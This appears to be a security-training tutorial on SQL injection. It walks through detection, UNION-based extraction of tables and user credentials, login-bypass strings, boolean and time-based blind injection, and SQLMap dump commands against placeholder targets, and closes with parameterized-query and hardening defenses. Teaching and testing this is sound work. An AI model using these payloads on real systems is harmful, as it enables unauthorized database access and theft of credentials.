SQL Injection

Transform Innocent Input Fields Into Database Access Points

Database ExploitationUnion AttacksIndustry Tools

What You'll Discover

🎯 Why This Matters

SQL injection remains the most critical web application vulnerability, ranking #3 in the OWASP Top 10. Despite being well-documented for over two decades, it continues to compromise modern applications due to inadequate input validation. When you understand SQL injection exploitation, you're learning the same techniques that security professionals use to identify critical vulnerabilities in enterprise applications worldwide.

🔍 What You'll Learn

You'll master the industry-standard tools and methodologies that security experts use to exploit SQL injection vulnerabilities. This includes SQLMap for automated exploitation, Burp Suite for manual testing, and union-based techniques for data extraction—the same arsenal used by penetration testers in real-world security assessments.

🚀 Your First Win

Within the next 10 minutes, you'll exploit your first SQL injection vulnerability using the exact same manual techniques that security experts rely on. You'll see how a simple search form can be transformed into a gateway for complete database access and understand why proper input validation is crucial for secure applications.

🔧 Try This Right Now

Learn the technique by testing this vulnerable search form that accepts user input without proper validation

# Test for SQL injection in a search parameter
# Vulnerable URL: http://<target>/search.php?query=products

# Step 1: Test for vulnerability with a single quote
http://<target>/search.php?query=products'

# If you see a database error like:
# "MySQL syntax error near '\'' at line 1"
# The application is vulnerable!

# Step 2: Test basic boolean logic
http://<target>/search.php?query=products' OR '1'='1

# Step 3: Determine number of columns (increment until error)
http://<target>/search.php?query=products' ORDER BY 1--  # Works
http://<target>/search.php?query=products' ORDER BY 2--  # Works
http://<target>/search.php?query=products' ORDER BY 5--  # Error!
# When you get "ORDER BY position 5 is not in select list"
# You know there are 4 columns in the SELECT statement

# Step 4: Extract database version
http://<target>/search.php?query=products' UNION SELECT database(),version()--

You'll see: How a simple quote character reveals database errors, proving the application is vulnerable. This demonstrates the fundamental flaw that allows SQL injection attacks to succeed.

Skills You'll Master

✅ Core Understanding

  • How SQL queries work and why they break (no more mystery!)
  • Union-based data extraction from multiple tables
  • Professional attack methodologies and success patterns
  • Industry-standard tools for database exploitation

🔍 Expert Skills

  • Using SQLMap like a security consultant
  • Leveraging Burp Suite for systematic testing
  • Calculating attack feasibility and database enumeration
  • Implementing proper defensive countermeasures

Understanding the SQL Injection Vulnerability

SQL injection occurs when user input is directly concatenated into SQL queries without proper validation—allowing attackers to modify the query structure

The fundamental problem isn't with SQL technology itself, but with how developers handle user input. When applications use string concatenation to build SQL queries, they create a critical security flaw. Here's what happens at the code level:

The Vulnerable Code Pattern

# VULNERABLE - String concatenation (DON'T DO THIS)
query = "SELECT * FROM users WHERE username = '" + userInput + "'";

# When userInput = "admin", the query becomes:
# SELECT * FROM users WHERE username = 'admin'

# When userInput = "admin' OR '1'='1'--", the query becomes:
# SELECT * FROM users WHERE username = 'admin' OR '1'='1'--'
# The OR condition makes this always true, bypassing authentication

Notice how the attacker's input breaks out of the intended string context and injects executable SQL logic. The database doesn't know where user data ends and SQL commands begin.

⚠️ The Problem

Applications concatenate user input directly into SQL queries without validation

🎯 The Attack

Malicious SQL code injected through input fields modifies query logic

💥 The Impact

Complete database access, data extraction, and potential system compromise

Tools and Techniques

SQLMap: The Automation Champion

SQLMap is the industry standard for automated SQL injection exploitation used by security professionals worldwide. It can detect vulnerabilities, enumerate databases, and extract data with minimal manual intervention.

Step-by-Step SQLMap Attack

# Step 1: Install SQLMap (comes with Kali Linux)
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

# Step 2: Test for vulnerability and enumerate databases
python3 sqlmap.py -u "http://<target>/search.php?id=1" --dbs

# Step 3: Enumerate tables in specific database
python3 sqlmap.py -u "http://<target>/search.php?id=1" -D webapp --tables

# Step 4: Extract data from specific table
python3 sqlmap.py -u "http://<target>/search.php?id=1" -D webapp -T users --dump

# Step 5: Test POST requests with form data
python3 sqlmap.py -u "http://<target>/login.php" --data="username=admin&password=test" --dbs

# Step 6: Use with Burp Suite integration
python3 sqlmap.py -r hdna-request.txt --batch

This same methodology is used by penetration testers during security assessments to comprehensively identify SQL injection vulnerabilities in production systems.

Manual Techniques: The Foundation

Understanding manual exploitation separates security experts from script kiddies. These techniques give you the foundation to adapt to any SQL injection scenario. Let's break down each step of the systematic approach professionals use:

Manual Union-Based Exploitation: The Complete Process

# Step 1: Test for vulnerability
http://<target>/product.php?id=1'

# Step 2: Determine column count (test incrementally)
http://<target>/product.php?id=1' ORDER BY 5-- 

# Step 3: Find injectable columns
http://<target>/product.php?id=1' UNION SELECT 1,2,3,4,5--

# Step 4: Extract database information
http://<target>/product.php?id=1' UNION SELECT 1,database(),version(),4,5--

# Step 5: Enumerate tables
http://<target>/product.php?id=1' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=database()--

# Step 6: Extract user credentials
http://<target>/product.php?id=1' UNION SELECT 1,username,password,4,5 FROM users--

Supporting Tools

Professional security assessments require multiple tools for comprehensive testing. Here are the essential utilities that complement SQLMap.

  • Burp Suite - Intercept and modify HTTP requests for manual testing
  • Commix - Command injection and SQL injection automation
  • Ghauri - Advanced blind SQL injection exploitation
  • XSStrike - Multi-vector payload testing (includes SQL injection)

Real-World Attack Scenarios

These scenarios represent actual patterns found in security assessments, demonstrating the practical application of SQL injection techniques in professional penetration testing.

Scenario 1: E-commerce Product Search (5 minutes)

Product search functionality is one of the most common SQL injection targets. Testing search parameters should be your first priority in web application assessments.

# Test search functionality for SQL injection
URL: http://<target>/products.php?search=laptops

# Step 1: Test with single quote
http://<target>/products.php?search=laptops'

# If error appears: "MySQL syntax error"
# Step 2: Confirm with boolean logic
http://<target>/products.php?search=laptops' OR '1'='1'--

# Step 3: Extract database information
http://<target>/products.php?search=laptops' UNION SELECT database(),version(),NULL--

# HackerDNA Tip: Use SQLMap for automation
sqlmap -u "http://<target>/products.php?search=hdna-test" --batch --dbs

Success Rate: Product search functions frequently contain SQL injection vulnerabilities due to inadequate input validation on user-controlled search terms.

Scenario 2: User Authentication Bypass (8 minutes)

Login forms are prime targets for SQL injection attacks that can bypass authentication entirely. This technique demonstrates how attackers gain unauthorized access to administrative accounts.

# Test login form for SQL injection
POST http://<target>/login.php
Content-Type: application/x-www-form-urlencoded

# Step 1: Test username field with bypass payload
username=admin' OR '1'='1'-- &password=anything

# Step 2: Extract user information
username=admin' UNION SELECT username,password FROM users WHERE username='admin'-- &password=test

# Step 3: Use SQLMap for automated extraction
sqlmap -u "http://<target>/login.php" --data="username=hdna&password=test" --dump

# Expected result: Authentication bypass or data extraction

Impact: Authentication bypass allows complete account takeover, often providing administrative access to the entire application.

Scenario 3: Blind SQL Injection Data Extraction (12 minutes)

When error messages aren't displayed, blind SQL injection techniques allow data extraction through timing delays and boolean logic. This advanced technique requires patience but yields comprehensive results. Here's how you systematically extract data character by character:

Boolean-Based Logic:

The application responds differently to true/false conditions. If AND (condition) is true, the page loads normally. If false, it shows different content or errors.

Time-Based Detection:

When boolean methods fail, you can use database sleep functions. If your condition is true, the database waits 5 seconds before responding. No delay means the condition was false.

# Blind SQL injection testing
URL: http://<target>/news.php?id=1

# Step 1: Test boolean-based blind injection
http://<target>/news.php?id=1' AND (SELECT COUNT(*) FROM users)>0--

# Step 2: Extract data character by character
http://<target>/news.php?id=1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--

# Step 3: Time-based blind injection
http://<target>/news.php?id=1'; IF((SELECT COUNT(*) FROM users)>0) WAITFOR DELAY '00:00:05'--

# HackerDNA Advanced: Use SQLMap for blind exploitation
sqlmap -u "http://<target>/news.php?id=1" --technique=B --batch --dump

Expert Insight: Blind SQL injection requires systematic enumeration but can extract complete databases even when error messages are suppressed.

Defensive Countermeasures

Understanding attack techniques enables you to implement proper defenses. Here's how security professionals protect applications against SQL injection attacks.

Parameterized Queries (Prepared Statements)

The most effective defense against SQL injection is treating user input as data, not executable code. Parameterized queries ensure that user input can never alter the SQL query structure.

Professional Secure Coding Examples

# PHP with PDO (Recommended)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

# Python with parameterized queries
cursor.execute("SELECT * FROM products WHERE category = %s AND price < %s", (category, max_price))

# Java with PreparedStatement
String sql = "SELECT * FROM customers WHERE email = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, email);

# Node.js with parameterized queries
const query = 'SELECT * FROM orders WHERE user_id = ? AND status = ?';
connection.query(query, [userId, status], callback);

Input Validation and Sanitization

Implement multi-layered input validation to catch malicious payloads before they reach the database layer. This provides defense-in-depth security.

# Input validation example (PHP)
function validateInput($input) {
    // Remove dangerous characters
    $input = preg_replace('/[^a-zA-Z0-9\s]/', '', $input);
    
    // Length validation
    if (strlen($input) > 100) {
        return false;
    }
    
    // Whitelist validation
    $allowedTerms = ['laptop', 'desktop', 'monitor', 'keyboard'];
    return in_array(strtolower($input), $allowedTerms);
}

Database Security Configuration

Properly configured database permissions and security settings can limit the impact of successful SQL injection attacks.

  • Use least-privilege database accounts for applications
  • Disable dangerous database functions (xp_cmdshell, LOAD_FILE)
  • Enable database audit logging for attack detection
  • Implement database firewalls for query pattern monitoring
  • Regular security updates and patch management

🎯 You've Got SQL Injection Down!

You now understand SQL injection exploitation like a security professional. You can identify vulnerable applications, use industry-standard tools for systematic attacks, and implement proper defensive measures that protect applications from these critical vulnerabilities.

SQLMap MasteryManual ExploitationUnion TechniquesProfessional Assessment

Ready to Exploit Advanced Database Vulnerabilities